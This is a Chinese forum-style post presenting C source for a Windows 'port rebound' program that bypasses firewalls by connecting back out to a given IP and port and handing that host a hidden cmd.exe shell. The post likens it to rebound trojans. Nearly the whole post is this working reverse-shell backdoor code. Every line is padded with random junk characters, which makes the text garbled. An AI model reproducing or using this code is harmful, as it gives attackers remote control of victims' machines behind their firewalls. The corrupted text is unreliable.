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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L]<4{8H.  
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/* ============================== ", )  
Rebound port in Windows NT <5~>.DuE  
By wind,2006/7 ,m]q+7E  
===============================*/ j~q`xv+R  
#include F| Q#KwN  
#include \9QOrjiw  
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#pragma comment(lib,"wsock32.lib") &}1)]6q$  
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void OutputShell(); $8r:&Iw  
SOCKET sClient; hGV/P94  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !F)oX7"  
Kjw\SQ)2~  
void main(int argc,char **argv) K^ \9R  
{ GK&Dd"v  
WSADATA stWsaData; CV"Y40  
int nRet; ||aU>Wj4  
SOCKADDR_IN stSaiClient,stSaiServer;  U2$T}/@  
cC.DBYV+-  
if(argc != 3) sXu+F2O  
{ y>8?RX8  
printf("Useage:\n\rRebound DestIP DestPort\n"); oVW?d]R  
return; }}_l@5  
} EA.U>5Fq  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Xk'.t|  
Vk-_H)*r  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B!@0(A  
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stSaiClient.sin_family = AF_INET; h6/Z_ Y  
stSaiClient.sin_port = htons(0); LKcrr;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {'!~j!1'j  
4NV1v&"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QUf_fe!,|  
{ c&&UT-Z  
printf("Bind Socket Failed!\n"); 'oG'`ED"  
return; Xl;N= fc  
} .Ko`DH~!,C  
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stSaiServer.sin_family = AF_INET; {NR~>=~K-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )f Rh^6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  t2iFd?  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) srL,9)O C  
{ A7H=#L+C  
printf("Connect Error!"); X*KT=q^?n  
return; x% 1Rp[  
} Wm 61  
OutputShell(); G1rgp>m  
} Lst5  
Vs >1%$If  
void OutputShell() h.nzkp5  
{ b11C3TyQT  
char szBuff[1024]; k4v[2y`  
SECURITY_ATTRIBUTES stSecurityAttributes; 1Q<a+ l  
OSVERSIONINFO stOsversionInfo; ;XT$rtuX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'PZJ{8=  
STARTUPINFO stStartupInfo; Ax ^9J)C  
char *szShell; ",a fv{C  
PROCESS_INFORMATION stProcessInformation; =B 9U  
unsigned long lBytesRead; <3HJkcYGz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mYCGGwD  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]#`bYh^y  
stSecurityAttributes.lpSecurityDescriptor = 0; ZYG"nmNd  
stSecurityAttributes.bInheritHandle = TRUE; fw<'ygd  
(U)=t$=o  
J#\/znT  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q07>FW R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rzp-Q5@M Y  
AK[c!mzx  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H_9~gi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AWw:N6\  
stStartupInfo.wShowWindow = SW_HIDE; CXa$QSu>  
stStartupInfo.hStdInput = hReadPipe; !)GPI?{^5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [X|P(&\hQd  
OnG?@sW+4!  
GetVersionEx(&stOsversionInfo); t;'__">:q  
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switch(stOsversionInfo.dwPlatformId) S5j#&i  
{ s;bqUY?LD  
case 1: Q,>AT$|  
szShell = "command.com"; m#uutomi0  
break; ak R*|iK#b  
default: fSj^/>  
szShell = "cmd.exe"; xMe[/7)4  
break; 56fcifXz@  
} )9}z^+TH  
f+rBIE  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a}6Wo=  
[xHK^JP 8F  
send(sClient,szMsg,77,0); HR4^+x  
while(1) Ax&+UxQ0|  
{ {&xKS WNc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +ft?aB@  
if(lBytesRead) K1Uur>Pk%  
{ (i {  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?]:3`;h3  
send(sClient,szBuff,lBytesRead,0); 0 j6/H?OT  
} f)>=.sp  
else RK|C*TCnl  
{ \ZXH(N*>2t  
lBytesRead=recv(sClient,szBuff,1024,0); Z O&5C6qa  
if(lBytesRead<=0) break; B&cC;Hw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tip\vS)  
} fxjs"rD5  
} [^#6.xH  
KATt9ox@  
return; geua8;  
}
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